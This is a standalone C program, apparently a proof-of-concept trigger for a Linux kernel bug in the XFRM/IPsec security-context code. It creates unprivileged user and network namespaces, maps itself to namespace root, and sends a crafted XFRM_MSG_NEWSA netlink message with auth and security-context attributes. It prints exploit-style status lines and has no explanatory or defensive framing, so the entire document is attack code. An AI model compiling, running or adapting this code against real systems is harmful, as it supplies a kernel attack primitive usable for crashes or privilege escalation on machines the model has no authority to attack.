#define _GNU_SOURCE #include <sched.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <errno.h> #include <fcntl.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #include <linux/rtnetlink.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/prctl.h> #include <netinet/in.h>
#define NLMSG_TAIL(nmsg) \ ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
#define BUFSIZE 4096
void add_attr(struct nlmsghdr *n, int maxlen, int type, void *data, int alen) { int len = RTA_LENGTH(alen); struct rtattr *rta = NLMSG_TAIL(n); if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { fprintf(stderr, "add_attr: message exceeded bound\n"); exit(1); } rta->rta_type = type; rta->rta_len = len; memcpy(RTA_DATA(rta), data, alen); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); }
void trigger_xfrm_sec_ctx() { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sock < 0) { perror("socket NETLINK_XFRM"); exit(1); }
char buffer[BUFSIZE]; memset(buffer, 0, sizeof(buffer));
struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; struct xfrm_usersa_info *sa = (struct xfrm_usersa_info *)(nlh + 1); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*sa)); nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
sa->family = AF_INET; sa->id.proto = IPPROTO_AH; sa->id.spi = htonl(0x1000); sa->mode = XFRM_MODE_TRANSPORT; sa->reqid = 42; sa->saddr.a4 = inet_addr("10.0.0.1"); sa->lft.soft_byte_limit = sa->lft.hard_byte_limit = XFRM_INF;
struct { struct xfrm_algo_auth auth; uint8_t key[16]; } __attribute__((packed)) alg_auth;
memset(&alg_auth, 0, sizeof(alg_auth)); strncpy(alg_auth.auth.alg_name, "hmac(sha256)", sizeof(alg_auth.auth.alg_name)); alg_auth.auth.alg_key_len = 128; alg_auth.auth.alg_trunc_len = 96; memset(alg_auth.key, 0x42, sizeof(alg_auth.key)); add_attr(nlh, BUFSIZE, XFRMA_ALG_AUTH, &alg_auth, sizeof(alg_auth));
struct { struct xfrm_user_sec_ctx ctx; char ctx_str[64]; } __attribute__((packed)) sec_ctx;
memset(&sec_ctx, 0, sizeof(sec_ctx)); const char *label = "user_u:object_r:ipsec_spd_t:s0"; int ctx_len = strlen(label);
sec_ctx.ctx.len = sizeof(sec_ctx.ctx) + ctx_len; sec_ctx.ctx.exttype = XFRMA_SEC_CTX; sec_ctx.ctx.ctx_alg = 1; sec_ctx.ctx.ctx_doi = 1; sec_ctx.ctx.ctx_len = ctx_len; memcpy(sec_ctx.ctx_str, label, ctx_len);
add_attr(nlh, BUFSIZE, XFRMA_SEC_CTX, &sec_ctx, sizeof(sec_ctx.ctx) + ctx_len);
struct sockaddr_nl addr = { .nl_family = AF_NETLINK }; struct iovec iov = { .iov_base = buffer, .iov_len = nlh->nlmsg_len }; struct msghdr msg = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(sock, &msg, 0) < 0) { perror("sendmsg"); } else { printf("[+] XFRM_MSG_NEWSA with AUTH + secctx sent.\n"); }
close(sock); }
int main() { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) != 0) { perror("unshare"); return 1; }
int uid = getuid(); int gid = getgid(); FILE *f;
f = fopen("/proc/self/setgroups", "w"); if (f) { fprintf(f, "deny\n"); fclose(f); }
f = fopen("/proc/self/uid_map", "w"); fprintf(f, "0 %d 1\n", uid); fclose(f);
f = fopen("/proc/self/gid_map", "w"); fprintf(f, "0 %d 1\n", gid); fclose(f);
printf("[*] Namespaces created, triggering xfrm_sec_ctx allocation...\n"); trigger_xfrm_sec_ctx(); return 0; }
|